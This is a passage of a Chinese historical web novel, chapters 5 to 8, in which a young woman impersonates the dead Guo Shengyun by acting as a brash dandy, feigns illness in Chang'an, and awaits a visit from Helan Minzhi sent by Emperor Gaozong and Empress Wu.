秦四冷哼了一声,回答道:“这种事情,我这种奴仆怎么会知道?” 祝以灵:“……” 那没办法了,只能等抵达长安再说了。 或者,在见到了郭待封派出的仆从时,他们应该会乐意向一个远方亲戚炫耀一下主家的本事? “你先别问我了,”秦四皱着眉,又把祝以灵上下打量了一番,“那郭郎君自小在长安进学,自两年前起便随侍御驾,确实没见过你那死了的兄长,但你在他面前要如何表现,才能让他向你问话时问不出破绽?” 祝以灵心中隐约有了想法,“过几日你便知道了。” 秦四:“……” 他是真没想到,杀人的反而比他们这些没杀人的,还要像个没事人一样。 在抵达同州前好吃好睡,额头上的伤口和脸色都养好了不少。 也不知道是不是把每顿饭都当成了死前的最后一顿。 只有祝以灵自己知道,她这分明是在努力多长点肉,好让这副身板多添一点力气。 若是真到了要跑路的时候,也能跑得动! 而在外面,马车在颠簸间已越过了河谷窄道,登船跨河,入朝邑,抵同州。 …… 春日的阴雨已从这片关中土地上过去,空气间浮动着抽枝柳条和报春花交杂的气味。 年约二十的青年一身踏青打扮,骑着马在街道上徐行。 刚抵达驿馆不久,就见路的另一头,一辆马车向着这边行来。 他也随即将目光转了过去。 车帘尚未掀起,一道粗哑的少年声音已经跳了出来。 “哎呦我的老天,这破路走的,差点把我屁股给颠坏了。” 青年脸色一怔,就看到一个相貌明艳的少年毫无形象可言地翻下了马车,人刚站定,就像是在人前摆造型一般,伸出手指,挑了一下额前的缚带。 5. 005 少年额前的缚带乃是素色,本应有几分衣衫带孝的朴素清丽,却愣是在这个故作姿态的动作里,变得有点油腻。 他也慢了一步才发觉,这肤色白皙的少年郎脸上敷粉涂朱,透着股脂粉味。 可即便如此,青年也不得不承认,来人生了一副天然的好相貌。 三庭五眼都生得标准,将一股子秾丽但大方的神采,灌注在了那双含情的桃花眼里,那双生得凌厉的眉毛,又中和去了几分面上的阴柔,组成了一张,在京师中都少见的夺目面孔。 只是…… 只是此人出口说的话和做出的事,当真是辜负了这张好脸! 他不仅说着什么屁股要被颠坏了,还在落地的一通小动作无人欣赏后,又真的捂住了臀部。 “真不知道阿耶是怎么让人选的马车,这轮子在太原跑来跑去还行,往山道上一跑……简直是废柴、破柴、烂柴!” “到地方就给我把这两个圆轱辘拆下来当柴烧了。” “嘶——”他抽了口气,招呼着随行的侍从过来搀扶他。 那个国字脸的已经跑得够快了,不像其他人,都因为他这在入关中也依然丢脸的行为愣神在远处,却还是挨了这俊俏少年的一巴掌。 这一巴掌直直地拍在脑后,感觉都能听到脑袋邦的一声响。 “没眼力见的东西!在太原跟个蠕虫一样爬也就算了,到了长安,都给我多长两双耳朵一双腿。” 像是想到了什么,他的眼珠子狡黠地转了转,望向了驿馆的方向。 这会儿倒是不用手摸屁股了,而是捏成拳头背在身后,摆出了一副乍看起来挺有气势的样子。 “不是说我那位京中的堂兄会派人来接引入京吗?人到了吗?” 有个瘦高个的侍从上前来帮他开道,被这个年轻人毫不犹豫地在他背后踹了一脚。 简直是将骄纵胡为四个字,活脱脱地写在了脸上。 坐在驿馆中的青年看得直皱眉头。 只因他不是别人,正是那少年人口中的——“京中堂兄”。 此前去信太原告知会着人接引的阳翟郡公郭待封。 他现在有点后悔,自己没让仆从替他来迎,而是自己亲自来了。 这……这太原郭氏子,怎么养成了这般脾性。 他本是有意与对方结交,也算是与皇后多个搭关系的路子,谁知道这人徒然一副好皮囊,却是个金玉在外,败絮在内的粗俗坯子! 偏偏还没等他悄然离开,便已叫那眼尖的小儿瞅见了他。 少年眼神一亮,蹬蹬两步,就踩着马靴冲上了前。 “这位仁兄!我看你衣冠不凡,气度……呃,身上东西挺贵,可是我那郭堂兄派来接应的?” 他喜上眉梢,张口就接:“怪不得说关中这几年富庶,流言诚不欺我。” 祝以灵是真的挺高兴的,不是演的。 为了不被人第一时间叫去测试一下文采几何,诗书经文认识多少,然后在提笔不会写字这一关当场翻车,她直接为自己敲定了一个太原纨绔的形象。 算起来,她还没像原本的郭升云一样动辄喊杀,已文雅了数倍,都能算得上在维护死人形象了。 郭升云还得谢谢她呢。 更高兴的是,在这个形象下,她伸手把那几个直接对她不是动手就是拔刀威胁的男的全给打一顿,也完全不会让人觉得奇怪。反而还能加深一下她给人的刻板印象。 然后就是高兴于眼前了。 她没见过长安城中的人,不代表她不会分辨东西的好坏。 驿馆之外,栓在树上的那匹马,有着比她那头拉车座驾矫健许多的身形,一看就是上等好马。 驿馆之内的青年看向她的眼神里带着欲言又止,分明是认识她的身份,又穿着绣有银丝的箭袖骑服,就算不是阳翟郡公府上的精锐,也与她那位堂兄脱不开关系。 对方高兴不起来,还拿她没办法,祝以灵就满意了。 “你……还请你端正些礼仪。”郭待封后退了一步,避开了祝以灵伸出来就要攀关系的手,见对方好歹没再进一步,这才松了口气。 他正了正衣冠,向祝以灵拱手:“若贤弟是自太原郭氏而来,那我便是你口中的仁兄郭待封。” 少年“啊”了一声,像是没料到,这位京师的贵人竟会亲自抵达了驿馆,出现在了他的面前。 郭待封已经有点头疼的脑子,终于在他这个有点正常人样子的反应中,找回了些许理智。 哪知道少年的下一句话,又没按照常理出牌。 “难怪难怪,我阿耶说看到堂兄就能认出来,你这模样就是该封侯拜相的,哈哈,不像我,文不成武不就的,就适合靠着裙带关系升一升云。” 郭待封:“……” 刹那间,他额角青筋突突直跳。 要不是郭升云与他还是头一回见面,那注重礼数的话还是从他嘴里先说出来的,他简直想要上前就捂住这家伙的嘴,别一开口就是惊天动地的话。 哪能上来就是升一升云。 他看郭升云是想升仙了! 偏偏少年好像完全没觉得自己说了什么惊天动地的话。 见郭待封没接话,便自顾自地问了下去。 “敢问堂兄,我们何时入京呐?听说皇后姨母和我母亲长得像,可我母亲死得早,就我这脑子也记不住她的长相,若能在瞻仰皇后姨母的时候想起来,那就再好不过了,回去也不必被我阿耶骂一句不孝子。” “……瞻仰不是这么用的!”郭待封咬了咬后槽牙,先纠正了最要命的一点。 随后抢在祝以灵即将开口前说道:“堂弟沿路辛苦,我听你喉咙干哑,不妨先少说两句,我并不会因你寡言就觉你冷淡。” 祝以灵眨了眨眼,接过了郭待封让人递过来的温水,小啜了一口。 话匣子又打开了:“沿路辛苦?那可不要太辛苦!” 少年一拍大腿,发出了懊丧之声,伸手就指向了自己的额头:“我要不是从太原出来,都不知道外头的路有这么难走。在山路半道,还因为暴雨过境,狂风席卷,那没用的马儿惊得乱跑,把我摔了下去,这一摔,差点把我摔破相。” “也不知是不是那京中宫苑内的祥瑞真龙往外吹了口气,就叫我这种福薄且孱弱的受罪。堂兄你是不知道——”祝以灵骂骂咧咧,瞪向了安顿好了马车后走进来的几人:“就那个秦四,仗着在家生子里有点资历,说这叫云从龙,风从虎,我能在风雨当中捡回一条小命,还得庆幸京中有真龙坐镇,看在我名字的份上,用云气拖了我一把。” 秦四表情僵硬地迎上了她的视线。 又见郭待封也看了过来。 脸上像是写着话,还是“你真辛苦”的同情。 秦四真不知道该说什么好:“……” 他一边心中思绪复杂,一边又得承认,他好像是小看了这位死地求生的外室子,没料到他在这么快就遇到郭待封的情况下,已经完全将人糊弄过去了,让这位殿试出身的京中贵子相信,他正是那个太原来的不学无术的郭升云。 还顺便帮他们这些扈从也立好了人设。 不过郭待封也只是浅浅记了一下,这里有个还算有用的人,便被迫挪回了视线,生怕自己一下没看着,郭升云又说出了什么惊世之言。 在太原的时候就没人教教他应该做什么吗?! 那怪不得郭孝慎这位便宜叔父升不了官呢。 “云弟可否听我两句?” 郭待封深吸了一口气,打断了郭升云絮絮叨叨的路途多难,屁股多疼。 好在,郭升云对他还算尊重,当即闭上了嘴。 郭待封努力板着脸,让这个入京前就与他有千丝万缕联系的人听明白,他现在要讲的,都是生死攸关的事。 把那少年可算是镇住了须臾。 “京中不比太原,权贵随处可见,你腰间的那根鞭子,烦劳先放起来,别放在这顺手就能抽出来的位置。” 祝以灵低头,看了看自己特意涂了点猪血的鞭子,在郭待封变色之前,连忙将它取下,丢给了上前来的江盈。 “哈哈,应该的应该的,这不是怕路上遇到匪寇吗?我不会用朴刀砍人,也就鞭子呼呼两下吓唬人。” 郭待封重重地抿了一下唇,“然后便是言辞审慎了。” 当今皇后的亲眷属实不多。 与皇后同父异母的兄长,似是早年间对皇后与其母荣国夫人多有苛待,以至于皇后得势后,他们非但没有得到重用,反而一个被贬为龙州刺史,没多久就死在了任上,一位被流放振州,如今也不知如何了。 与这两位形成鲜明对比的,便是皇后的同母姐姐和她的儿子贺兰敏之。 一个被封为韩国夫人,在京中内外命妇里,都算是头一档的尊贵。 一个凭借着舌灿莲花的好口才与一身好皮囊,大得几位长辈喜欢,甚至能随意出入宫闱面圣。 同样是随侍御前,郭待封的待遇比之贺兰敏之差了不少,也让他对这位年岁相差不大的同僚格外看不顺眼。 按说,同样是皇后外甥的郭升云入京,也能有贺兰敏之这样的福运,偏偏,他长了张嘴! 一张恨不得开口就把自己送进牢房里的嘴。 郭待封一把握住了祝以灵的手,神情凝重,一字一顿。 “云弟若当我是兄长,便听我话行事。入京之后,你即刻装作水土不服抱病,我先将京中情况尽数告知于你,再谈面圣!” 6. 006 如果可以选择的话,郭待封更想做的,其实不是让郭升云装病,而是直接遣送回太原。 这种嘴比脑子跑得快,不对,应该说压根就没有脑子的人,完全不适合在长安城里生活啊。 可是让他入京的,是当今天子和皇后。 从贺兰敏之被重用这件事上,郭待封也有几分猜测。 如今天子病弱,皇后势起,朝堂上下多有非议。 若他是皇后的话,便要在朝堂上多发展些能为自己说话的盟友。如果是得用的亲戚,或许会更好。 召郭升云来,也是想看看这个外甥有没有可用之处。 另一面…… 他郭待封也没法撇开郭升云不管。 在外人看来,他与太原郭氏有书信往来,还在郭升云抵达关中的第一时间,便已亲自来到驿馆相迎。 从某种程度上来说,郭升云此次入京的表现,和他郭待封已然绑定。 除非郭升云脑子有问题,先对着他这位堂兄露出了恶念,让他有足够的理由舍弃,否则,他作为引导者,就不能眼睁睁看着对方犯错。 装病吧! 装病简直是个无比好用的选择。 不管郭升云到底有多扶持不起,先将最要命的那些禁忌掰开了揉碎了讲给他听,难道还能胡乱犯错,把他这个堂兄拖下水? …… 当郭待封与这一行车驾自东渭桥上过,行至通化门前的时候,他越发庆幸,自己果断地让郭升云做出了这个装病的决定。 七年前,皇帝陛下着令修建四方城门,以正长安风貌。 原本不在长安宫门轴线的通化门上,也立起了一座新的楼观。 今岁改元,又经过了一番朱漆刷涂翻新。 自渡河后的官道徐徐打马,仰头向那面看去,墩台之上朱红立柱撑着飞檐斗拱,被后方夕照,勾勒出一圈吞没了青瓦的金边。 夕照与门楼之间的长安城,隐现宫阙与高塔的轮廓,已有一番气度直逼眼前。 是和北方…… 呃,起码和太原州府门楼截然不同的风貌景观。 郭待封往马车处回看了一眼,就见脸色惨白的少年径直从前面掀开了竹帘,目光炯炯地看着那门楼,一派土包子进城的样子。 仿佛下一刻就要从他嘴里蹦出一句“长安真有钱啊”的话。 但病号当然是不能见风的。 早得郭待封叮嘱的秦四直接就把那病弱少年推回了车中,自己也挤了上去,用自己当门帘,坚决阻止这口没遮拦的玩意冒头。 郭待封刚提到嗓子眼的心,又落了回去。 “……你能不能收着点!”秦四咬牙,用气音怒道。 祝以灵先前那副见到真古迹的欣赏做派,已随着车帘落下,从她的脸上淡了下去,人也懒洋洋地躺了回去。 “急什么,要的就是这个不收敛,堂堂正正地进长安。我要是束手束脚,在这位阳翟郡公面前拘谨地假装,指不定早就被发现端倪拿下了。就算真在他这里混过了,我们对长安城半点不熟,言谈间处处易错,哪里能和现在这样,还有人帮忙引路,做个教授常识的师父!” “再说了……”她翻了个白眼,“死刑犯被砍头前,还能吃顿好饭呢,如果咱们真的出不去这长安城,要把命留在这里,你宁可天天胆战心惊睡不好觉,还是干脆放浪形骸,让自己过得痛快?” 祝以灵先前在驿馆里演了那一出,大受鼓舞,精神状态更加美丽。 人也杀了,那能咋办。 先让自己嘴巴说爽了得了! “记住了……堂堂正正。”祝以灵又强调了一遍。 秦四欲言又止,竟觉祝以灵说的话没什么错。 郭待封宛然是长安城中精英新秀的代表,他都没能看出祝以灵的底细,是不是也意味着,他们真的能从长安顺利脱身? 忽听祝以灵又说:“我早年间听说了个民间故事,说是有个人想要在屋子里开个窗,但家里不同意,于是他就说,我要把屋顶捅个窟窿,别人拦着他半天,他改口说我只开窗,就全通过了。你信不信,按我之前那表现,现在只需要稍稍乖觉一些,外头那位郭郎君都能当我是个人物?” 秦四没听过这样的故事。 他只知道,自己正在思忖间,就被祝以灵一脚踹下了车。 得亏他平日里习武强身,下盘稳当,才在一脚绊下了车的刹那,扶住了车前的栏板,稳住了身形。 可即便如此,他的脸还是往车轸上重重地撞了一下。 他痛得嗷叫了一声,回头就见,郭待封已经有点麻木地看着这一幕,抽动了一下嘴角。 随后的路程倒是平静了许多。 马车在通化门前停下。 戍守长安外郭的卫兵从郭易的手中接过了郭升云入京的文书,将这一行数人登记在册。 而后,随同郭待封前往城内的阳翟郡公府。 “这长安城还真是大得惊人……” 祝以灵望着被风吹动翻飞的车帘,口中喃喃。 自通化门入城后,马车又行驶了许久,才在一座名为静安坊的里坊前减慢了速度,经由郭待封下马说明来人身份,放行马车通关,直至停在了郭府门前。 府中侍从早在半日前,就已得到了郭待封随行亲卫的提前通知,守在了府外接迎,此刻连忙接过了郭待封手中的缰绳,将那匹上等好马牵引去了马厩。 马车中却还不见人下来,只从当中传来了一阵阵的咳嗽声。 秦四顿时会意,准备上前搀扶,还是郭待封更快一步地掀开了车帘,伸手扶住了那已半坐起来的少年。 也不知道他是何时更换的衣着。 他身上的皂色锦袍,已换成了一件灰蓝色、布料更为厚实的襕袍,外面罩着一件皂色带灰青的大氅。靠近领口的位置,是一圈灰色的毛边。 额上的素色缚带,也换作了一条与襕袍同色的灰蓝布帛。 这灰蓝灰青,本是寻常百姓在素白短褐之外增彩,以草木粗染的颜色,却达不到太好的效果,宛如鲜亮衣物褪色后显现的模样,深为那些有品阶在身的官员所不喜。 如今穿在这面带病容的少年身上,却是压住了他眉眼间的跳脱,让他看来有了几分清淡贵气。 郭待封的眼中,顿时闪过了几分惊喜。 他原本已做好了准备,若是郭升云装病也装不成个样子,他就直接府门一关,先把人禁足在此。 没想到这府门前的众目睽睽之地,他已与城门外面貌不同。 看来这人还教得通! 思忖间,祝以灵又咳嗽了两声。 上前的郭府管家显然是没见着她那路上的混世魔王样子,还对着远道而来的少年人,投来了一道同情的目光。 郭待封抿唇 不语,抬手示意人带路。自己则与祝以灵慢慢地跟在后头。 * “……兄长的府邸,似乎占地不小?” 祝以灵观察着周围,心中啧啧称奇。 外院前庭设有的一应马厩车房宽敞一些,还有可能是地形使然,恰好在这里坊内空出了偌大一片地界,后面的宅院竟也不小。 乍看之下,起码是四五进院落的布局。 梁柱之间虽有剥落脱色,也能看出朱漆之上还有彩绘,以悬鱼为镂空木饰。 在长安城里占这么大一片地,属实是有钱极了。 她这个冤大头领路人有点身家。 可这句夸赞的话出口,却没让郭待封有多高兴。 他语气淡淡:“父亲生前购置的宅院,在我手中已比当年破落了不少。” 郭待封心中暗骂,郭升云是不是有点克他。 这已算是郭升云见到他开始最正常的一句话,偏偏戳中了他的痛处。 他父亲生前除了打仗就是敛财,还爱财爱得皇帝都嫌弃。 奴仆妾室数量不少,器物家私都要用料上乘,为了让宅院的面积更大,不惜让宅院距离宫门远一些,从更便宜的里坊买地。 这也就意味着,上朝时需要更早起来,赶更远的路。 左邻右舍也没几个可结交的人。 若是他还活着,能在军中立功也就罢了,偏偏他是决策失误战死沙场,还带着成年的大儿子一起战死,留下彼时年幼的郭待封。 这偌大一座宅邸,交到彼时年仅九岁的孩童手中,除了遣散仆从,缩小养护的范围,也没别的办法。 可不就是个“破落了不少”的结局。 当然,宅院大也有大的好处。 乡巴佬进城的“堂弟”已对他这位堂兄露出了叹服的神情,在瞧见了自己所住的那处院落后,更是笑逐颜开。 这小子似乎完全没察觉到郭待封的情绪低落。 这个在府门前还病恹恹的人,已是一个健步冲入了厢房之中,对着厢房内的陈设啧啧称奇。 郭待封慢了两步走进来时,祝以灵已左右巡视一遍,满意地在窗边的榻上盘膝坐了下来。 若不开口,真是人模人样。 郭待封实在不想再被迫回忆些旧事,打断了祝以灵对着宅邸将欲出口的下一句夸赞。 “如今你既已入京,又要抱病暂缓出门,也该呈递一张陈情请罪的文书交上去。若怕陈词不当,也可由我替你修改一二。最好今日写成,明日由我代你送至帝后面前,你看如何?” 祝以灵抚摸桌案上那乌石镇纸的动作为之一僵。 今天之内写完一份送给皇帝皇后看的请假条,问她觉得怎么样? 她觉得不怎么样! 真要让她现在就提笔写文,她能写个鬼画符出来。 这不是自取其辱,平白找死吗! 郭待封只见,那刚才还兴致极高左顾右盼的人,一抚额头就倒了下去。 但倒又没倒个彻底,“病患”没个病患的样子。 少年斜靠着桌案,嬉皮笑脸:“兄长啊,既是病到了无法起身见驾的地步,手也该抖得提不起笔了才对。不如这请罪的书信,还是由你代笔吧?” 郭待封:“……那你呢?” 祝以灵从算囊里取出了那方私印:“我用病中颤抖的手,往上面盖个章。” 7. 007 她像是为了强调,郭待封并没有听错她在说什么,将那枚私印往榻间的桌子上,轻轻按了一下。 只缺没有当场演绎,什么叫做“病中颤抖的手”。 郭待封差点被当场气笑了。 可他转念一想,万一郭升云笔下写出的东西,和他脱口而出的话,有异曲同工之妙,是润色一二都救不回来的程度,那还不如一开始就由他写呢。 “也罢,你就先在此养病吧,先将旅途疲累休整过来,我再同你说说京中的事情。” 郭待封向外招呼,仆从将一应茶点、烛台、被褥抬了过来。 转头回看,装病的少年还用手握着那枚私印,人却已惰怠地蜷在了大氅中。 当下春寒未褪,庭中草木上仍笼着一层冷色调的水雾,倒是显得少年与之气质相合,格外伶仃憔悴,更好似先前那句甩锅丢任务的话不是他说的。 郭待封对他这个演戏演全套的态度还是满意的,抬步往外走去。 却在刚走出院门的那一刻,猛地止住了脚步。 “……不对!” “什么不对?”指挥仆从洒扫的管家路过,正听到了主家的这一句,连忙凑上前来询问。“还有何处要调整?” 郭待封磨了磨后槽牙,似笑非笑。 哪里不对?当然是他和郭升云之间的关系不对。 他是二十岁就在御前被陛下钦点的贤才,是少年时期便粗通兵法的饱学之士,哪怕父亲死得不太光彩,但落在他身上的,也还有一个爵位,和一句开国功勋之后的名头。 郭升云呢? 一个空有太原郭氏之名的小官之子,没多少本事却有贵族的傲慢与胡为,漂亮的皮囊下俨然草包本色! 如此一来,由兄长拿捏弟弟才是顺理成章的事情,也算是让他多一个好用的助力。现在呢? 怎么变成了郭升云不想写告假的文书,他就这么接过去了? 郭待封依稀觉得,是从哪个步骤出现了问题,偏偏话到嘴边,又不知道从何说起。 面对管家的询问,也只能变了变脸色,背着手往书斋走。 他取过了几张上等黄麻纸,估量了一番要在这病中请罪文书上写的内容,将两张纸胶糊粘连,装上了黑漆轴杆。在这做手工艺活的间隙,又平复了两下呼吸,才终于将那股没来由的愤懑吞回了肚子里。 随即提笔,洋洋洒洒地写了二十行字,放在了淋不到雨水的窗口风干。 想着势必要让这个刚入京的便宜堂弟知道,他郭待封在京中到底是何许人也,他又找人端了个炭盆到书斋里,放在了那份敬呈文书的斜下方。 以至于当这份需要病中人敲章的文书卷轴出现在祝以灵面前的时候,天刚擦黑不久,青黑的天穹尽头,似乎还带着点泛橙的蓝。 祝以灵一边在心里骂了一句对方装货,一边一骨碌就爬了起来,瞪大了眼睛将这一份书函从左到右、又从右到左地看了一遍。 “兄长这一手字当真出色,不知少时临摹的哪家字帖?” 郭待封没说话。 祝以灵后知后觉:“……是又问错话了吗?” 天地良心啊! 她这句话是真的想给这位冤种堂兄回一点情绪价值的,没有再让他难堪的意思,怎么好像又踩雷了,继续坐实她的人设。 郭待封唇角紧绷又放松,答道:“少时……临褚登善所写《雁塔圣教序》。便是因谋逆之罪被贬、死于任上的褚遂良。这几年稍去褚风,转观王逸少体。” 真是的,直接问他现在书法是谁的字不就行了,那他就可以直接说临摹的王羲之,非要多问一句少时如何。 少时褚遂良为尚书右仆射,执掌朝政大权,还写得一手好字,郭待封当然是跟着他的字帖学,谁知道皇后上位后,褚遂良先被丢去了潭州,然后被贬到桂州(桂林),又因为联合谋反的罪名去了爱州(越南),跟他沾边,这不纯纯晦气吗。 但想想郭升云对这当中的情况一概不知,他又懒得骂了。 反而好像是他自己,在回答问题的时候有点太老实了。 他甚至在心中宽慰自己,不知道有不知道的好处,他在介绍里多夹带一点私人情绪,恐怕也不会被发现…… 想到这里,郭待封那张烛火中阴影交错的面容上,多了几分晦涩的笑意。 祝以灵状似未觉地收回目光,把自己的私印盖在了末尾,又用尾指,将红泥厚重的一角轻轻地抹开。 见郭待封看了过来,她顿时嘿嘿一笑:“兄长怕是没有逃课的经验,这种抹开一点的痕迹,才叫自然而为,病情真切!” 郭待封:“……” 不!他用不着知道这个。 * 但也不知道是不是郭升云这个行事莽撞的家伙说话做事都太有感染力,郭待封将这份文书呈递上去的时候,听得陛下问起郭升云的情况,张口即答。 “恐怕是平日里疏懒于锻炼体魄,以至于路遇风雨,便着凉受寒,还因惊马受了点惊吓。不过好在,人没出什么事,还能跟臣说什么云从龙,风从虎,他这个叫郭升云的,被京师的龙托了一把。” 郭待封话刚说完,就反应过来,这正是郭升云跟他说的混账话。在驿馆里说说也就算了,在皇帝面前也说这不像样的浑话…… 却听那边桌案后的陛下低笑了一声,像是听了个民间来的乐子。 他还转头问道:“皇后怎么看?” 两仪殿的另一边,设置着另外的一处桌案,桌案上搁着并不比皇帝陛下面前少的奏折文书。 郭待封哪怕出于面圣的礼数,不敢过多抬头去看,也完全能够感觉到—— 同处一室,近来多为风疾困扰的陛下李治面色并不太好,因着病气的缘故,这一角似也纠缠着些药味,令周遭显得昏暗了几分。 倒是另一边明光正好,设在了通风见光的窗前。 坐于桌案后头的人,更是为这一角增添了颜色。 那宫装丽人的头上也不 见多设钗环,就连衣物也少用朱紫重色,还为了翻阅书卷便捷,弃大袖而取窄袖,但眉眼端庄大方,天庭开阔饱满,自有一番上位者的气势。 甚至让人慢了半步才意识到,今日在她身边研墨陪读的少年长了一副瑶林玉树、韶秀俊美的外表,又身着一件浅绯锦袍,晃眼得惊人。正是皇后的另一位外甥贺兰敏之。 他本也不便多加窥探朝政,是皇后有心召他前来考校功课,才在此地研墨恭候,撞见了郭待封前来替郭升云告假的这一出,便干脆将目光投向了这与他不和的俊才,露出了个看好戏中略带挑衅的表情。 武皇后并没错过贺兰敏之这小动作。 但这两人都还是少年心性,又未在朝堂上占据多少地位,她也没这个必要从中说和,乐见竞争里把人逼出本事。 至于刚来长安的这位…… “我那同胞妹妹死得早,他父亲又只有他这一个儿子,去岁在并州祭祖的时候就听说,家中将他娇惯的有点不成样子,还能说出你刚才上报的那番话?” 郭待封恭敬地向皇后又行了个礼:“确如皇后殿下所说,这位郭世弟……有些年少贪玩的心性,举止间尚见浮躁,但以臣看来,未至顽劣不堪的地步。昨日病中恳求我替他向陛下、殿下请罪,还问起了臣所用字帖。” “哦?若是如你所说,他倒是见长安城之大,贤才之能,先自惭形秽地反思上了。” 皇后抬起下颌示意,贺兰敏之当即起身,越过了郭待封走到了陛下面前,从那边取来了那份由人代笔的告罪书,送呈到了皇后处。 她的目光没在郭待封那些尽是套话的字句上停留多久,倒是落在了那方微有模糊的私印上。 想起郭待封进来时就说的“病中提不起笔,唯恐字迹草率玷污天颜”,嘴角微不可见地动了一动。 “这太行山路确实有些难行,若再过两月,汾河涨水,大可直接坐船而行,直入关中,也不必在路上遭遇这许多波折。要这样说,这郭氏小儿虽痴,却还有些孝心。” 李治揉了揉额角,心知皇后这算是有心栽培栽培这亲戚后生,将郭升云这入京便倒下的无用样子,找了个敷衍过去的借口。 连趁着这个季节赶路,都能给个夸赞的理由。 但就怕此人真如传言所说,是个手腕不堪的顽劣之人,完全是怕在御前出丑,才有了眼下的病重,到时候再来面圣,还不是要生一回气。 也不知皇后的这些亲戚都是怎么个事,歹竹里也就出了皇后这一颗好笋,其余的,至多就是与贺兰敏之一般学问平平。 也真是辛苦皇后了。 他回道:“那既是有孝心,便着人送些良药补品去吧。” 皇后笑了笑:“不必劳烦别人跑了,就让敏之跟着待封走一趟好了,让他替我见见,这时运不济的升云到底病情如何。” 贺兰敏之连忙领命,走到了郭待封的面前。“有劳郭郎君领路。” 带他去见一见,那素未谋面的表弟。 8. 008 贺兰敏之对这位空降长安的表弟,没多少好感可言。 也怪这表弟跟谁来长安的不好,偏要跟着郭待封。 郭待封这人,别人都说他是个人才,贺兰敏之却觉未必。 不过是上无父兄依托,才把那些个喜好奢靡的脾性藏匿了起来。 谁让贺兰敏之自己刚来长安时,也是这样的人,和郭待封一对眼,便如撞见了同类。 偏偏这同类还当不成好友,只因两年前郭待封刚入职弘文馆时,贺兰敏之便同他大吵了一架。 吵架的理由也是可笑。 郭待封的职位,与其他四位被陛下选出的贤才一样,叫做“弘文馆待诏”,那依照时人称呼官职的叫法,便该称他为“郭待诏”。 但这个称呼却也恰恰是郭待封那战死长兄的名字。 别人将此事记为一条需要记住的禁忌,贺兰敏之有皇后撑腰,才懒得记这个,直接激得郭待封脸色大变,拦下贺兰敏之就要他道歉。 贺兰敏之却凑到他耳边骂他,有这等闲工夫,还不如到陛下面前多露露脸,给自己升个官,再不然就是把亡兄的名字改了。 总之,先怪自己再说同僚。 自此,两人结下了恩怨,说是相看两相厌也不为过。 也就是刚在帝后面前答应下来了差事,才在出门后装出了个兄友弟恭的样子。 这二人又都年轻且形貌出众,从两仪殿到宫门前的一路,不乏有宫人看过来,更不能当众吵闹起来。 但假若有人靠近过来的话就会听到,这两人的交谈里,分明积蓄着含而不发的火药味。 “我若是你,就干脆先让表弟在城外住上几日,待养好了病再入城。因天时和道路的缘故失期常有,人到了长安却病倒见不了人的少有。”贺兰敏之冷笑了声,“表弟就是太信你了,选了这么个不懂变通,还让人留下病秧子印象的办法应对。” 郭待封斜睨他:“你倒是随机应变巧舌如簧,却尽是些歪门邪道,难怪上不得朝堂。升云本就是真病,又没什么见不得人的,正如陛下所说,还是孝心可嘉,为何非要在城外养病?皇后殿下的亲眷不多,倘若在城外养病养出了个好歹来,又该由谁负责?” 他心中其实很为贺兰敏之上门这事头疼。 郭升云的那张嘴简直是无差别得罪所有人,要是贺兰敏之以为是他教的,然后告状到皇后面前,不知该如何收场。 奈何人已经在去郭府的路上,郭待封又不想在贺兰敏之面前露怯。 只能在说完了那番反驳的话后,状似无事地招呼着自己的随从,先一步将陛下遣使探看这件事报回府中,也好让装病的郭升云早早做个准备。 贺兰敏之有点奇怪地看过来:“我平日里跟你说话,不见你有多少好脸色可言,今日倒是毫不吝啬,还准备盛情相待了?” 郭待封权当没听到这句话。 多说多错。 只希望郭升云能收到他的信号,别把场面搞得太难看,更别被贺兰敏之发觉他没有真的病倒。 二人策马抵达府门前时,该说的挑衅话都已经说完了,起码自前来迎接的管家看来,这位到访的使者神态平和,丰神俊朗,好一番贵公子模样。 但想到此人与主家之间的矛盾,又减少了几分热情。 “带路吧。” 管家的表情有点尴尬。 郭待封当即意识到,又有什么自己不知道的情况发生了。 他眼皮一跳,就要把管家叫到一旁问询,却有一只手横空插了过来。 贺兰敏之面露兴味之色:“怎么,我不能听吗?今日我又不是以贺兰敏之的身份来的,而是陛下的使者,何事还要藏着掖着?” 伸头也是一刀,缩头也是一刀。 郭待封挥了挥手,示意管家直说就是。 管家赔笑道:“使者将至的消息传回来,那竹霖院里就闹起来了。” 贺兰敏之挑眉问道:“怎么说,是你们说了我的坏话,让我这表弟觉得,他在病中,不该只有我这样的人来探视?” 管家连忙回道:“不不不,不是这样的,三言两语间也说不太清楚,进去见到了人就知道了。” 郭待封顿时会意。 郭升云可能搞了点事情,但不是会影响到他的事情,那去看个热闹也无妨。 两人刚穿过游廊,预备走进那院中,便先被一道疾行的人影撞了上来,正撞在了先行一步的贺兰敏之身上。 贺兰敏之倒退了一步,方才站定。 那有些瘦弱的婢女意识到自己闯了祸,连忙后退两步,在看清来人模样后,更是哆嗦着嘴唇左顾右盼了一会儿,干脆低头跪了下来,把脸埋在了手中拿着的东西上。 贺兰敏之只看得出来,那是一块颜色有些鲜亮的布料,郭待封却辨认出了更多的东西。 这好像是他曾经穿过,但现在尺码有些偏小的衣服。 他的眼神往旁边一飘,当即得到了管家点头示意,肯定了他的判断。 郭待封懵了一下。 什么情况啊? 他也随即认出,至于跪坐在地的这个婢女,并不是他府上的人,而是郭升云带来的。 这就更奇怪了。 贺兰敏之不知郭待封此刻的脑子里,已蹦过了数个奇怪的猜测,瞥了江盈一眼:“起来吧,不必如此惶恐。” 他心中好奇表弟的事,一步迈进了院中,却忽见一个反光的物事,从那主厢开启的窗口呼的一下丢了出来,直直地朝着他甩了过来。 他的身体,本能地又退了一步。 转头就向着郭待封瞪了过去:“你府上也太危险了。” 郭待封嘴上不饶人:“你但凡看看清楚呢?” 贺兰敏之认真打量了两眼,又不说话了。 这一次,确实不是冲着他来的“攻击”,只是扔东西的人就站在窗口,恰好对准了这个方向。 抛掷东西的人也根本就没有用多少力道。 以至于那金属疙瘩明明可以抛得更远,却没丢出来几步,便落在了地上。 啪的一下,在厢房门外的石板路上摔碎成了几片。 并没有打中任何人。 贺兰敏之止住了脚步,停在碎片面前低头看去,瞧见的正是一面碎裂开来的铜镜。 那屋中之人,何止是挥手就把镜子给甩了出来砸碎,更是用有些嘶哑的声音骂道:“出去!一群没用的东西!” 若不是贺兰敏之已走到了附近,恐怕还听不太清楚,这有些细弱的声音,到底在说些什么。 倒是屋中另外一个声音的主人,因体魄康健而中气十足, 却因对面那人的发怒,语气里多了几分惶恐与无奈。 “您跟自己置什么气啊!本来就在病中,还连着换了十几套衣服了,到时候加重了着凉又怎么说。” “那使者只是替您的姨母来过问病情的,何必如此!您只管躺着……” “闭嘴!”那个虽轻却有力的声音打断了他的话。 